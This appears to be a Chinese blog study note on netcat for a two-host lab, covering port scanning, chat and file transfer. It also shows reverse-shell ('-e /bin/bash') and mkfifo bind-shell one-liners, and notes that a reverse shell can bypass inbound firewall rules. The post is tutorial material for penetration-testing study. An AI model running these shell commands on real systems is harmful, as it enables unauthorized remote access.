netcat学习笔记

netcat:

相当于网络中的瑞士军刀,它所做的事情是在两台主机间建立连接并返回两个数据流。

主机A:192.168.12.130
主机B:192.168.12.131

一、端口扫描

扫描主机B开放端口:

nc -zvn 192.168.12.131 1-999

参数:
-u 改变运行模式,默认为TCP,改为UDP
-z 适用于扫描,告诉netcat,连接成功后就关闭连接,不进行数据交换
-v 详细输出
-n 告诉netcat,我只需要对方的IP信息,不需要DNS信息

在这里插入图片描述

二、主机AB间实时通信

server:主机B(192.168.12.131)

nc -l 1234

告诉netcat,在1234端口创建一个TCP服务器。所有标准的输入输出数据都会显示到当前shell上。

client:主机A(192.168.12.130)

nc 192.168.12.131 1234

在这里插入图片描述

三、传输文件

Kali想给Ubuntu传输username.txt文件

Server:192.168.12.131(Ubuntu)

nc -l 1234 > /home/sumor/文档/username.txt

Client:192.168.12.130(Kali)

nc 192.168.12.131 1234 < /root/文档/username.txt

在这里插入图片描述

可以理解为,netcat作为一个中间件,我把文件交给netcat,netcat再传递给目标。箭头的指向来表示文件的传递方向,所以无论是Server还是Client,都可以灵活的将文件传递给对方。

三、获取shell

渗透时,有时无法使用对方的telnet、ssh(对方未安装或权限不够等)

1、如果对方的netcat支持 -c -e 参数的话,可以获取对方的反向shell。

获取反向shell可以一定程度绕过防火墙,比如限制入站连接等。

此时是Server获取Client的shell:

Server:192.168.12.130(Kali)

nc -l 1234

创建监听,守株待兔。

Client:192.168.12.131(Ubuntu)

nc 192.168.12.130 1234 -e /bin/bash

告诉netcat,去连接192.168.12.130的1234端口,如果连接成功,就把自己的/bin/bash(shell)给对方。

2、netcat不支持-e -c 参数时

Server:192.168.12.131(Ubuntu)

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/tmp_fifo

第一行,创建了一个FIFO文件(即管道,可以在进程间、Server和Client间交互数据而不用创建临时文件)

第二行,读取FIFO文件,然后用了管道命令,将FIFO的输入指向到/bin/sh,即shell上,2>&1中,&1是文件描述符,1表示标准输出,2表示标准错误,所以意思是将标准错误重定向到标准输出,因为前面已经将标准输出定向到了shell上,所以标准错误也会定向到shell。最后用管道命令,告诉netcat在1234端口上创建一个netcat服务器监听,并将获取到的传递过来的内容交给FIFO文件。形成了一个循环。

Client:192.168.12.130(Kali)

nc 192.168.12.131 1234

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值